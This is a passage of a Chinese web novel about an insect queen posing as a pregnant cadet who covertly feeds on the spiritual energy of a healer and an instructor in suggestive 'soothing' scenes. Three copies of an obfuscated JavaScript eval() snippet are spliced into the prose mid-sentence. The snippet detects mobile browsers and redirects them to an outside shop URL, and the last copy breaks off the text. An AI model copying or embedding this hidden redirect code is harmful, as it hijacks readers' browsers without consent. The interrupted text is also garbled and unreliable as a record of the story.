当精神链接重新建立。 暖流中混入了一丝极其细微的、如同电流般的震颤。这震颤并不狂暴,反而带着一种奇异的、直抵灵魂深处的搔痒感、一种远超治愈本身的、难以言喻的舒适感,如同滴入清水的墨汁,迅速晕染开来。 不对劲。 理性的警报刚刚拉响,兰乌的精神力却再次戛然而止。 “您还清醒吗?” 她那无辜的、带着关切的声音传来,像是一盆冷水,浇在他刚刚被点燃的、隐秘的渴望之上。巨大的落差感让他喉咙发紧,呼吸不受控制地紊乱了一瞬。 ……是巧合吗? 他强行压下那瞬间的空虚和躁动,用略显低哑的声音命令继续。 第三次链接建立。 这一次,那令人战栗的舒适感来得更汹涌了。它不再是溪流,而是温暖的潮汐,包裹着他的意识,冲刷着他的理智堤坝。自己模拟出的那片精神区域,如同活过来一般,不再受他控制,而是贪婪地缠绕上去,渴求着更多,拒绝她的离开。 “老师,这个强度可以吗?” 再次,被中断了。 如同在攀登愉悦巅峰时被人猛地拽回地面,罗兰甚至感到了一阵短暂的精神眩晕。额角渗出细汗,坐姿僵硬。他需要耗费比预想中多出数倍的意志力,才能维持住表面的平静。 “无妨,继续。”他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746997|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不知道自己在用什么样的语气说话了。 当精神力第四次涌来时,那熟悉的、令人灵魂颤栗的舒适感几乎瞬间就捕获了他。他感觉自己像一块逐渐融化的蜜糖,理智正在甜美的暖流中瓦解。 甚至令人生出了一丝荒谬的念头:就这样下去,似乎也不错…… 数据?监控?它们还在他的视野里,但意义仿佛正在远去。他的全部感知,都不由自主地聚焦在那维系两人、带来无上感受的精神链接上。 第五次、第六次、第七次…… 当兰乌又准备开口,那熟悉的、预示着中断的短暂停顿来临的瞬间—— 一种近乎恐慌的情绪钻了上来,彻底吞没了他。 “老师,我们结束吧。” “等等……让我、让我……去……”褐色的眼眸彻底失神,罗兰甚至有些口齿不清,“……记录完这次实验……” “老师,你看起来已经不行了。”兰乌微微俯下身,她看着罗兰,也在微微喘气——第一次的时候就这样体力不支、现在还是这样体力不支,“还是去休息吧。” “呃……”难耐的。 “老师?” 兰乌神色认真:“不能再继续了。老师你不是说,我的安抚会造成精神力流失吗?还会带来过量的快乐。老师,你没必要这样牺牲自己。你会被快乐冲垮的、会被玩坏的!” “老师,虽然我们第一次交流,但是我已经知道,你是比我这个文盲厉害无数倍的学者,你的大脑是人民宝贵的资源,你不能坏掉,老师!” 精神力环绕着罗兰。 淡淡的兰花香。 “连我都知道,精神力流失太多,会变成傻子。” “绝对不可以、再流失了。” “忍一忍,老师,一定要克服。” “绝对不能再泄……”她的手再度握上罗兰的手。 什么也没做,罗兰的精神力便如此轻而易举地决了堤、一溃千里、喷涌而出,试图抓住周围那些不可捉摸的、属于兰乌的精神力。 “……出来了哦。” 兰乌说完,一片沉默。 座椅上的人已经彻底昏睡过去了。 兰乌歪着头看了一会儿,自言自语:“在这里睡是不是不太好?” 她脸上泛起一阵饱食的红晕,趴在座椅边,眯着眼餍足地呼吸了一会儿。而后才反复地戳着罗兰:“老师——我不知道什么开关是关掉这些东西的——实验数据没保存——” 罗兰猛得惊醒:“什么——” 他手忙脚乱一阵操作,心神混乱,只挤出来一声沙哑的告别:“我需要去休息。”便跌跌撞撞地走回了自己房间。 兰乌则是继续在小房间里休息。 唉。吃爽了。 要是人人都有老师的奉献精神,她将过上最幸福的生活。 几乎要眯着眼睛睡着。 “哒哒哒” 门外却传来一阵规律的敲门声。 …… 当兰乌开门的时候,雷克索被短暂地惊了一下。 但他很快想起来,兰乌被安排到了罗兰的住所。 “罗兰呢?” “老师去休息了。”兰乌用手摸了一下脸,感觉有点烫,她现在的脸色一定是红的,因为吃太多不断地发热,“长官,您找老师有什么事吗?” 雷克索皱眉。 他找罗兰是因为约好了精神梳理。 他的精神损伤问题太过严重,每隔两周就需要一次梳理。 这算是隐私。但对上兰乌的眼神,雷克索又觉得没什么好隐瞒的,便大概说了一遍:“既然他今天累了,我明天再来。告诉他我来过。” “好哦。”但兰乌又挽留道,“如果只是精神梳理的话,我也可以?” “罗兰老师刚才在尽心尽责地教导我,因为教得太累,去休息了。”兰乌垂着眼,有点不好意思,“说到底,也是因为我的原因,才让您错过了这次精神梳理。” 雷克索下意识想拒绝,毕竟兰乌还没有执业医师证。 大脑里却又浮现出那天考核的感受。 他沉默着,同意了兰乌的提议。 走进去,是很熟悉的布置。他来过很多次。有时候校医室找不到罗兰,就会来这里。现在,因为兰乌搬进来,而加入了一些其余的布置。 他看过罗兰准备的那张问卷,极其详细,甚至还问了具体的喜好。 所以现在,墙壁上,挂着几棵未开的兰,绿油油地点缀了一片。兰花的根缠在木片上,交错着蔓延,就像是紧紧寄生着。 又进了熟悉的小房间,罗兰的个人冥想室。 当雷克索坐上那把唯一的椅子,他似乎感受到了些许温度——是谁方才坐在上面吗? 他没有来得及继续思考。 因为,兰乌已经将手掌覆上了他的眼睛。 视线消失了。 15. 15 失去了视觉,其他的感官便被无限放大。 他没有穿那身笔挺的教官制服,也没有穿考核时那套勾勒出夸张肌肉线条的紧身作战服。 仅仅穿着基地标准的深灰色军用工字背心和同色系的训练长裤。这显然是他来到罗兰这里进行私人精神梳理时,为了舒适和便于仪器接触而换上的便装。 他听见兰乌轻微的呼吸声,嗅到她身上那股若有若无的、清冽的兰花香,与这间实验室里固有的消毒水气味混合在一起,形成一种奇异的氛围。 那只微凉、柔软的手,完全覆在了他的额头。 来了。 不同于上次考核时带着试探和伪装的轻柔,这一次,兰乌的精神力如同早已熟悉路径的溪流,几乎是毫无阻碍地、径直涌入了那片他早已习惯的、充满电闪雷鸣与破碎废墟的“雷暴海洋”。 没有寒暄,没有试探性的梳理。 第二次的体验,远比第一次猛烈。 那不是罗兰那种带着诱导性的、缓慢释放的梳理。 更像是一场野火,要一下子燃尽全部的废墟,狂暴地摧毁、重建,让荒土生出新枝。 兰乌的精神力像是最顶级的助燃剂,将他精神图景中那些原本带来痛苦的暴烈能量,瞬间点燃,转化为一种近乎野蛮的、灼烧灵魂的极致感受。 “呃……!” 一声完全无法压抑的、低沉而沙哑的闷哼,从雷克索喉间迸出。垂在身侧的大手猛地攥紧,指关节因为用力而发出“咔哒”的轻响。 他想抵抗。 身为战士、身为教官的尊严和纪律性,让他本能地想要筑起壁垒,将这过于汹涌、过于异常的感受推开。 但是…… 太晚了。 或者说,在那源于生命本源的、被强行扭曲而成的极致快乐面前,他的意志力脆弱得不堪一击。 那些沉积多年的、如同熔岩般滚烫的精神伤疤,此刻不再是痛苦的源泉,反而变成了愉悦的燃料,被兰乌的精神力肆意地汲取、转化,再反馈给他本人。 他能感觉到自己的精神力,正在发出前所未有的、满足的咆哮,主动地、甚至是谄媚地迎向那外来的力量,渴望着被吞噬,被融化。 雷克索的身体剧烈地颤抖了一下,喉结疯狂滚动,额头上青筋隐现,汗水瞬间浸湿了他的发根和后背。他那只攥紧的手,无意识地抬起,猛地抓住了兰乌覆在他额上的那只手的手腕。 力道之大,让兰乌蹙眉。 “长官,有什么问题吗?” 兰乌的声音在耳边响起。轻柔的呼吸,轻轻地扫过耳畔。 精神力的梳理尚未完成,不上不下。抛去其他问题,他的精神力确实正在被高效治愈。 “继续。” 精神力仍然在翻涌,就像是地上的火妄图亲吻天上的雨,火舌高高地抛起,又心甘情愿地被压下。 雷克索仍然抓着兰乌的手,不像是阻止,更像是溺水之人抓住浮木的本能,是沉沦之中寻求锚点的徒劳挣扎。他仰靠在椅背上,喉间溢出断断续续的、被精神力冲击得支离破碎的喘息。 兰乌任由他抓着,甚至没有挣脱。 她能感觉到,掌下皮肤的体温高得吓人,那具充满力量的躯体正在她的精神力下微微痉挛。 她微微俯身,靠近他耳边,用那依旧轻柔嗓音低语: “放松……只是治疗。” “交给我。” 这句话如同压垮骆驼的最后一根稻草。 雷克索紧绷的身体猛地一僵,随即像是被抽走了所有骨头一般,彻底松弛下来,深陷进座椅里。他抓着兰乌手腕的力道也松懈了,变成了一种无力的依托。 只有那沉重的、带着滚烫温度的呼吸,和偶尔从紧咬的牙关中泄露出的、极其压抑的呜咽,证明着他尚未完全失去意识。 ——算是比较能抵抗的一个了。 兰乌想了想,放缓了汲取的速度,转而用精神力更加细致地抚过那些被梳理的区域。就像是真正的治疗那样,完成了工作。 “长官,”她轻声开口,唤回了雷克索游离的神智,“梳理结束了。您感觉好些了吗?” “……嗯。”雷克索猛得回过神,他从喉咙里挤出一个沙哑的音节,不敢再看兰乌的眼睛,目光游移地扫过周围冰冷的仪器,“……辛苦了。” 工字背心紧紧贴在他魁梧的上半身,布料几乎被汗水染成黑色,清晰地勾勒出每一块饱满胸肌、腹肌的轮廓,甚至因为湿透而显得有些半透明。汗水沿着他古铜色的皮肤不断滑落,从贲张的肌□□壑中汇成细流。 长裤同样湿漉漉地贴着他的腿,布料因此显得沉重。 他整个人像是刚从水里捞出来,浑身蒸腾着剧烈消耗后的热气。大腿肌肉不受控制地抽搐了两下,双眼虽然强行恢复了焦距,但眼底深处还残留着未曾散尽的恍惚。 甚至忘了拿起可能放在一旁的外套,就这么衣衫不整、浑身湿透,带着一身未曾平息的燥热和浓烈的雄性荷尔蒙气息,略显狼狈地走了出去。 兰乌思考了几秒,罗兰明天起来看见这里被弄脏,会是什么什么反应? 从这几个房间的极度整洁来看,罗兰大概率有一点强迫症、洁癖。 话又说回来了。 罗兰明天起得来吗? …… 第二天起来的时候,罗兰似乎已经不在房间里了。 东西看起来被收拾过,桌上留了一瓶保温的营养液。 兰乌换上了星刃派发的标准学员制服。深灰色的面料衬得她皮肤愈发苍白,剪裁利落的制服穿在她身上,却依旧难掩那分与其他学员截然不同的纤细,尤其是腰间特意放宽的部分,柔和地勾勒出孕肚的轮廓。 她抱着罗兰给她准备的、印着拼音和基础图案的“特制”笔记本,按照光屏上标注的超大字体和箭头,有些茫然地找到了她第一堂课——《星际战争史导论》的教室。 推开门的瞬间,原本有些嘈杂的教室像是被按下了静音键。 几十道目光,锐利的、好奇的、审视的、甚至带着些许不加掩饰的惊愕,齐刷刷地聚焦在她身上。 这是一个几乎由男性主宰的学校。放眼望去,是一片深灰色的制服海洋,坚毅的面孔,挺拔的身姿。兰乌的出现,像是一滴墨水滴入了清水,突兀得令人侧目。 她低着头,尽可能减少自己的存在感,找到后排一个角落的位置坐下。然而,那无声的注视依旧如影随形。她能感觉到那些目光在她苍白的脸、纤细的脖颈,以及最引人注目的、被制服包裹的微隆腹部上扫过。 窃窃私语声如同蚊蚋般响起。 “就是她……那个SSS级……” “零分考进来的孕妇?” “看着风一吹就倒,真是来上学的?” 兰乌置若罔闻,只是将笔记本摊开,一副准备认真听讲的模样。 然而,当头发花白、气质威严的老教授走上讲台,光屏上开始滚动出现复杂的星际年表、战役名称、势力分布图,以及密密麻麻的专业术语时,兰乌那双绿色的眼眸里,彻底被茫然淹没了。 她一个字都听不懂。 教授口中吐出的那些名词——“恩戴会战”、“第三代曲率引擎迭代”、“虫族侵袭特征”——对兰乌而言,如同天书。 唯有和虫族相关的东西,她打起精神,认真听了听。 对比着书上的波形图分析,兰乌确定了一件事。 她出生那天虫母的精神力波动,代表的是最强那一档的暴怒,以及……恐慌。 下午是《治愈系精神力原理与应用》课。 当兰乌走进教室时,立刻感受到了一种与上午《星际战争史》截然不同的氛围。 教室里的学员明显少了很多,大约六十人左右。 到的时候,上一节课还没结束,学长们有的趴在桌上补眠,眼下是浓重的青黑,有的眼神放空,盯着空气,脸上清一色的写满了“身体被掏空”的麻木。整个教室弥漫着一种安静的、疲惫到极致的倦怠感。 似乎只有新生,脸上才能看见懵懂和好奇。 而当罗兰医生走上讲台时,兰乌微微睁大了眼睛。 看起来总是维持着温和镇定的罗兰老师,也明显露出了疲态。眼下挂着清晰的黑眼圈,褐色的眼眸虽然依旧努力保持着清醒和专注,但细微的血丝和偶尔一瞬间的失神,都暴露了他的状态。 他看起来……比昨晚被她“实验”过后还要憔悴。 “各位同学,下午好。”罗兰的声音带着一丝不易察觉的沙哑,他打开光屏,“今天我们讲解《治愈系精神力与其他属性精神力的本质区别及作用原理》。” 很好的长句,使兰乌的大脑开始旋转。 “首先,我们需要明确,治愈系精神力,并非一种独立的‘能量’。”罗兰的光屏上显示出复杂的精神力图谱和神经递质模型,“它更像是一把高度特化的钥匙,或者一个催化媒介。” “它的核心作用,在于引导、放大和优化目标自身的精神力及生命系统的自我修复潜能。”他指向图谱中几个闪烁的区域,“通过特定频率的共鸣,加速精神图景中无序能量的梳理与整合。” 治愈系不是凭空变出治愈能量,而是作为一种催化剂。 罗兰继续道:“治愈者需要持续维持那种精密的、高频的共鸣状态,这是对自身精神力的极致消耗。同时,在深度链接中,治愈者不可避免地会承接并化解目标的部分精神负面情绪或能量杂质。” “非治愈系的精神力,其实也可以完成这样的工作。但往往,需要承受十倍、百倍的代价。” “我们治愈了别人,”他推了推眼镜,镜片后的目光似乎更疲惫了,“但往往无人能治愈我们自身的耗竭。记住,治愈系的第一课,也是永恒的课题——学会在奉献中自我保护。” 说完,罗兰又顿了顿。 “忘了,你们之中没几个真的治愈系。”他难得地流露出一点其他的情绪,“也不知道是谁写的这书,我一直觉得应该取消这门理论课……直接去实习就知道是什么情况了。” 兰乌看了眼手中教材。 编写者:罗兰 兰乌:“……” 她看着台上疲惫的罗兰,又想到那些仿佛被吸干了的学长学姐,再联想到昨晚罗兰冰箱里那些堆积如山的、号称“治愈系都吃这个”的特制营养液…… 一个模糊的认知在她脑中形成: 这些人类治愈系,本质上是在用自己的精神力电池,去给别人的电池充电,过程中自己还会漏电,并且充电宝本人还得不到足够好的充能。 虫母汲取精神力是为了生存和壮大自身,是纯粹的进食和成长。而这些人类治愈系,却是在进行一种近乎“燃烧自己,照亮别人”的行为,而且看起来回报极低,一个个都熬得油尽灯枯。 她下意识地摸了摸自己的小腹。 她……能治愈这些医学生吗? …… 上了一天的理论课,兰乌几乎都有点恍惚了。 好像她真的是学生,而不是来卧底养精蓄锐的……虫母。 她没去演武场,毕竟她自己就是大家拼死拼活练习、想要杀死的生物,怪怪的。 忽得,手腕上的通讯设备弹了个消息。 是语音通讯请求。 兰乌点了接通。 阿尔文的声音冒了出来:“兰乌夫人,下午的课程顺利吗?” 他的问候一如既往的礼貌周全,带着洛希尔家族特有的、让人挑不出错处的关怀。 “阿尔文……同学。”兰乌念这个称呼还是有些生疏,她轻轻吸了口气,声音里带着一丝显而易见的疲惫和茫然,“我……听不懂。老师讲的,还有书上的字……我都看不懂。” 她没有刻意伪装,这几乎是她的真实状态。在知识的汪洋面前,她这个“文盲”的无力感是真实存在的。 通讯器那端沉默了片刻,似乎能想象到阿尔文微微蹙眉的模样。 “不必过于焦虑,兰乌夫人。知识的积累需要时间。”他安慰道,语气真诚,“你现在……应该还没用晚餐吧?我知道星刃内部有一家餐厅,环境很安静,食物的口味也比较温和,适合你现在的状况。如果你不介意,我想邀请你共进晚餐,或许……可以顺便帮你看看今天的基础课程?” 他的提议体贴得几乎无可挑剔。既是关心她的饮食,又顾及到她学习的困难,还选择了“安静”的场所,避免了她可能不适应嘈杂环境的尴尬。 兰乌握着通讯器,绿色的眼眸微微闪动。 吃饭? 和阿尔文·洛希尔? 单独? 她的第一反应是警惕。与这些心思缜密的人类贵族单独相处,意味着更高的暴露风险。 但紧接着,另一个念头冒了出来——食物。 不是精神食粮,是真正的、人类的食物。自从出生,她不是喝营养液,就是靠着汲取精神力过活,还吃过稀奇古怪的野果野草,几乎没好好吃过一顿像样的饭。阿尔文提到的“温和口味”,勾起了她作为人类那一部分味蕾的记忆和渴望。 哪怕不能补偿营养,吃点总是好的。 她可不想变成罗兰那种满脑子营养液的人。 “我……可以吗?” “当然,我在教学楼门口等你。” 她将电子教材抱在胸前,像抱着一面脆弱的盾牌,慢慢向门口走去。 阳光将她的影子拉得很长,在那片由钢铁、纪律和雄性荷尔蒙构筑的土地上,她纤细的、穿着不合身制服的身影,依旧显得那么格格不入。 餐厅坐落在远离教学区域的地方。 内部环境确实如阿尔文所说,安静而雅致,柔和的灯光,舒缓的音乐,隔绝了外界的喧嚣。侍者安静地穿梭,动作轻缓得几乎不发出声音。 就,很不像军校内部会有的东西。 阿尔文看出了她的疑惑,低低地笑了声:“出资建设这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746998|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所餐厅的,是那些在星刃就读,想要拥有更好体验的家族子弟。” “洛希尔家族有这所餐厅的股份。”他又说,“吃得好些,对生活来说不坏,对吗?” 兰乌点头,又紧张地问了句:“我这样的人,真可以上桌吃饭吗?” 她有些笨拙地跟着阿尔文的指引,使用着那些精致却让她无所适从的餐具。她点的是一份炖煮得极其软烂、味道清淡的肉类料理,这让她不必担心暴露任何不符合偏远山区身份的饮食习惯。 阿尔文吃得不多,更多时候是在温和地引导话题,或者解答兰乌关于今天基础课程的一些幼稚问题。他的耐心好得惊人,仿佛面对的不是一个连基本概念都需要反复解释的“文盲”,而只是一个需要稍多点时间的学习者。 当甜品被撤下,换上散发着淡淡果香的餐后饮品时,阿尔文放下了手中的餐具,冰蓝色的眼眸望向兰乌,语气变得更加正式了一些。 “兰乌夫人,其实今天邀请您,还有另一件事想与您商量。” 兰乌抬起头,绿色的眼眸里带着询问。 “我们洛希尔家族,下周末将在恩戴举办一场慈善晚会。”阿尔文缓缓说道,“主题是‘点亮群山之光’,主要关注偏远星域的女性权益与基础教育普及。我们会邀请各界名流,募集资金用于建立学校、派遣支教老师,以及提供必要的法律援助。” 他顿了顿,目光真诚地落在兰乌身上:“我认为,没有人比您更适合作为这场晚会的……一位特殊的参与者。您的经历,您走出大山的勇气,以及您如今在星刃求学的现状,本身就是对晚会主题最有力的诠释。如果您愿意,我希望能邀请您作为嘉宾出席,或许……可以分享一些您的感悟。” 兰乌握着温热的杯壁,指尖微微收紧。 犹豫。 阿尔文随即又体贴地补充道:“晚会的礼服、造型等一切事宜,您都不必担心,洛希尔家族会为您安排妥当。如果您在开销上有任何不便……” “不用的。”兰乌几乎是立刻打断了他,声音不大,却异常清晰。她抬起手,轻轻放在自己的小腹上,眼神里流露出一种混合着倔强和自尊的光芒,“谢谢您的好意,阿尔文同学。但是……这些钱,我想我自己应该能赚到。” 阿尔文微微一怔,冰蓝色的眼眸中闪过一丝讶异。他显然没料到兰乌会拒绝得如此干脆。在他的认知里,一位来自偏远地区、无依无靠的孕妇,几乎不可能有稳定的收入来源。 “兰乌夫人,您不必……” “我可以的。”兰乌再次肯定地说道,她甚至努力挤出一个看起来很有信心的笑容,“我……我有精神力。虽然别的不会,但是……安抚精神力,帮人缓解痛苦,我应该能做到。罗兰老师说,我的能力很特殊……或许,可以帮到一些需要的人,换取一些报酬。我们治愈系很快就会安排实习。” “至于慈善晚宴,我会考虑的。” 她苦笑:“其实我有点害怕,暴露在媒体面前。” 阿尔文想起那些舆论,也理解。 灯光晦暗,兰乌端起清亮的饮品,杯中流转着美丽的光华。 她其实有些惊讶。阿尔文前段时间的失落、甚至还未出芽的阴暗嫉妒,她并非没有感受到。 毕竟她几乎夺走了对方所有的关注度。 但现在,阿尔文居然这么快就想到了,利用她的人设,来给洛希尔家族贴金。 有点……不适。 …… 想来她自己,也是这样千百重伪装的人。 …… 罗兰难得请了假。 他该回去好好休息的,却鬼使神差地回到了那间冰冷的个人冥想室。 空气中似乎还残留着那清冽的、若有若无的兰花香。罗兰深吸一口气,强迫自己将注意力集中在那些冰冷的仪器上。 昨晚的数据……没有保存。 或者说,在最后那彻底失控的阶段,他根本忘了要去操作保存指令这回事。 他调出了昨天的室内监控记录——这原本是为了确保实验过程可追溯,此刻却成了他剖析自己失态的唯一凭证。 光屏亮起,画面无声地播放。 他看到了自己最初冷静地盘膝坐下,闭目模拟精神力枯竭。 他看到了兰乌小心翼翼探入精神力时,自己平静无波的脸。 然后,是第一次中断。 第二次中断,他略显急促的呼吸和调整坐姿的僵硬。 第三次,第四次…… 画面中的他,脸色越来越红,额角的汗水清晰可见,紧抿的唇线偶尔会不受控制地松开,泄露出压抑的喘息。他的身体不再挺拔,微微佝偻着,像是在承受着巨大的内部压力,又像是在贪婪地汲取着什么。 当看到最后,自己几乎是语无伦次地乞求“记录完这次实验”,然后在那汹涌而来的感受中彻底失神、瘫软,最终被兰乌体贴地劝去休息时……罗兰猛地闭上了眼睛,一种火辣辣的羞耻感烧遍全身。 他快速关掉了监控画面,胸腔剧烈起伏。 太……难堪了。 但紧接着,那被强行中断的的余韵,如同最顽固的幽灵,再次萦绕在他的精神核心周围。空虚感如同冰冷的潮水般涌来,与记忆中那温暖的、令人战栗的浪潮形成鲜明对比。 是不是因为我长期处于精神力高负荷状态,所以对这种强烈的安抚反应过度? 一个自我怀疑的念头冒了出来。 角落里还挂着雷克索的衣服,他自然是记得约定。也已经知道了昨夜兰乌无证上岗的事。 而关于雷克索的记录……却几乎正常许多。 没有像他这样失态,似乎只是出了汗,最超过的行为,也不过抓住了兰乌的手腕。 难道,真的是他自己这个样本的问题? 他走出冥想室,正好看到兰乌将外套挂起来。不知道什么时候回来的。她的脸色似乎比出去时红润了一些,眼神也清亮了些,像是……饱餐了一顿? 罗兰压下心头翻涌的复杂思绪,用尽可能平稳的、属于导师的语气开口: “兰乌夫人,你回来了。” 兰乌转过身,看到是他,似乎有些意外,随即露出一个温顺的浅笑:“罗兰老师,您还没休息吗?” “我在查看昨晚的实验记录。”罗兰推了推眼镜,避开了她的目光,声音里带着一丝不易察觉的干涩,“很遗憾,最后阶段的部分数据……因为我的操作失误,未能完整保存。” 他停顿了一下,像是在斟酌词句,但某种更强大的冲动驱使着他,让他几乎是带着一种破罐破摔的、急于验证什么的心理,继续说道: “这严重影响了研究的连续性和准确性。” “所以,” 他抬起头,褐色的眼眸透过镜片,终于再次对上了那双清澈的绿眼睛,发出了一个连他自己都觉得荒谬又必然的邀请,声音低沉而清晰: “今天晚上,我们是否需要……再安排一次实验?” 16. 16 “老师,您……”兰乌绿色的眼眸里适时地盛满担忧,她轻轻抚着肚子,在他对面坐下,“您真的不需要再休息一下吗?昨晚……您看起来消耗很大。今天的实验,我真的觉得不合适,您的状态……” 罗兰沉默着。 “那就暂时搁置吧。” 兰乌微微松了口气,脸上露出“您能理解真好”的温顺表情。 也没管罗兰在想什么,自己回了卧室休息。 她缓缓坐在床上。 像是被抽走了所有力气,脸上那副温顺的、带着些许惶恐和感激的面具,如同融化的冰雪般剥落,只剩下深入骨髓的疲惫,和一丝……空茫。 她似乎已经成功了很多。 成功潜入人类世界,成功获得了合法身份,甚至直接进入了这个危险至极的学校。理论上来说,应该高兴才对。 可此刻,在无人注视的角落里,一股巨大的虚脱感攫住了她。 她抬起手,看着自己依旧苍白纤细的手指。就是这双手,轻易地撬开了人类精英的精神壁垒,汲取着让他们痴迷又虚弱的力量。可指尖,却总是带着一丝低于人类正常体温的凉意。 她似乎已经很久没有见过手臂上的骨刺了。 低头,看向自己微隆的小腹。那里依旧传来清晰的、属于拟态孕囊的饱足感——来自雷克索教官那灼热而坚韧的精神力,也来自昨夜罗兰医生那份“实验素材”的回味。 进食的快乐是真实的,填补了她灵魂深处的饥饿与虚弱。 但之后呢? 复仇。是的,她要回去,把那个一出生就想扼杀她的所谓“母亲”从王座上扯下来。 可篡位之后呢?成为新的虫母,然后呢?像她的“母亲”一样,统治着冰冷的虫群,在无尽的繁衍与征伐中度过永恒的生命? 她穿越前作为“人类兰乌”的记忆已经接近模糊,只剩下一些零碎的情感碎片和对“家”的模糊概念。她清楚地知道自己不属于那里,可属于虫族的那部分,除了追杀的恨意和本能的吞噬,似乎也没有给予她更多的归属感。 人类世界……这个复杂、矛盾,却又孕育着惊人能量与璀璨文明的地方…… 她在这里伪装,在这里汲取养分,在这里编织谎言。 “孩子……” 她无意识地轻抚着小腹,低声呢喃。这个为了伪装和初期自保而构筑的孕囊,此刻却成了一个荒谬的象征。起初只是想要像上一任虫母一样,拥有绝对听话的下属,现在却…… 她连自己是谁,该去往何方都尚未弄清,却先拥有了一个母亲的身份。 若是彻底抛弃过去的“人类兰乌”,她现在会不会少一些犹豫呢? 作为虫母,天然就是应该构筑自己的帝国。 她孕育的,不是延续生命的子嗣,只是一种工具。 一丝极淡的、几乎不曾有过的迷茫,如同初冬的寒雾,悄无声息地浸润了她那颗被恨意和生存欲望填满的心脏。 她就这样坐在床上,许久没有动弹。窗外的宿舍仍然亮着灯,治愈系的学生似乎都优化了睡眠。精密而冰冷的光线透过窗棂,在她苍白的侧脸上投下明明灭灭的光影。 她其实、是不是已经彻底脱离了那个虫族世界? 忘记“虫母兰乌”,重新捡回“人类兰乌”,可行吗…… 直到通讯器传来轻微的震动,一份文件被传送过来。 【罗兰:我给你办了实习医生证,以后不要无证上岗。】 【星刃军校附属医院白塔医院-实习医师资格证】 【持有人:兰乌】 【权限:在导师监督下,可独立进行精神力安抚与基础治愈操作。】 【备注:因特殊身体状况,仅限接诊轻度精神力紊乱及以下病例,每日接诊上限:3人。】 【罗兰:鉴于你现在的身体状况,实习期间,我建议你每三天做一次体检。】 兰乌缓缓抬起头。 眼底那一闪而过的脆弱与迷茫,如同被风吹散的薄雾,迅速消弭。绿色的眼眸重新变得沉静,深处是永不熄灭的、属于猎食者的幽光。 生存是第一位的。 然后,才是思考。 ——也不是不思考。 兰乌正在努力思考,如何让自己生个人型出来,别是什么卵、异形之类的生物。 …… 第二日,属于兰乌的信息,便出现在了医院公示上。 【姓名:兰乌】 【资格:实习治愈者】 【精神力特质:治愈、使人愉悦】 【副作用:治疗后,患者精神力出现少量损耗】 出乎兰乌的预料,才挂上信息,就有患者挂了她的号,希望被她安抚。 没十分钟,一天三个的名额,就已经满了。 兰乌:“……” 坏消息:能感觉到之后的工作会很忙。 好消息:只要能扮演下去,以后再也不会饿了。 食欲上升了! 倒底是刚拿到实习医师证,而且还要在别人监督下进行精神力疏导,兰乌没有太过放肆,每次基本都是正常做精神力梳理,再收取少量的精神力作为报酬。 早中晚,吃三顿,无比健康。 就是偶尔她也会想。 难道她不是才进来上学第一天吗?怎么就直接开始实习生活了。难道这学校也是那种、学业五年实习经验五年的地方? 这不对吧。 【罗兰:治愈系和别的专业不一样。】 【罗兰:正常来说,机甲系、战略系都是第二年才出去实习的。学校主张第一年理论课,第二年实战,第三年理论。若是军功足够,也可以不用回来,课程自动满分。】 …… >>>星刃内部论坛>>>灌水区>>>匿名版 【热帖】我眼花了?那个SSS级文盲孕妇,今天在白塔挂上实习牌了?! 1L匿名(楼主) 如题。刚去校医室拿扭伤膏,看见隔壁空了很久的3号诊室开门了。探头一看,直接瞳孔地震! 那个黑裙孕妇,对,就是那个兰乌!坐在诊疗椅上,胸前别着【实习医师:兰乌】的牌子!! 她不是昨天才在《帝国星讯》上说自己字都认不全吗??今天就能持证上岗了?罗兰医生疯了吗?! 2L匿名 ?????? 3L匿名 前排吃瓜!楼主你没看错吧?她那个肚子……能进行精神力操作?不怕一个激动动了胎气? 4L匿名 回复3L:动什么胎气,说不定人家一边给你梳理精神力,一边还能用精神力给娃做胎教呢。【狗头】 5L匿名 破案了,兄弟们。SSS级精神力就是可以为所欲为.jpg 文盲怎么了?人家能力是天生点满的,跟我们这些需要背《精神力导论》到秃头的凡人能一样吗? 6L匿名 理性讨论,这合规吗?她有医师资格证考试分数吗?《医疗行为规范》第七章明确写了…… 7L匿名 回复6L:得了兄弟,别翻你那破规范了。人家是“特殊人才破格录取”,规矩就是用来被这种人打破的。我估计是罗兰医生特批的,SSS级啊,整个帝国掰着手指头数能有几个?当个实习医怎么了? 8L匿名 只有我好奇她怎么治疗吗?“放松,这位同学,我让我肚子里的娃给你唱首安眠曲?”【笑cry】 9L匿名 回复8L:艹,有画面了!不过说真的,我听说洛希尔家那个阿尔文,还有海因里希家那个凯斯,之前精神力不稳都是她安抚的,效果据说……嗯,非常□□□□。 10L匿名 回复9L:?被和谐了什么? 11L匿名 回复10L:不可说,不可说。反正去过的人都说好,而且眼神会变得有点……呆?建议你们自己去体验一下。【神秘微笑】 12L匿名 赌五毛星币,这绝对是罗兰医生的阴谋!他肯定是想近距离研究这个SSS级样本!我们可能就是那个被顺便观察的小白鼠!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 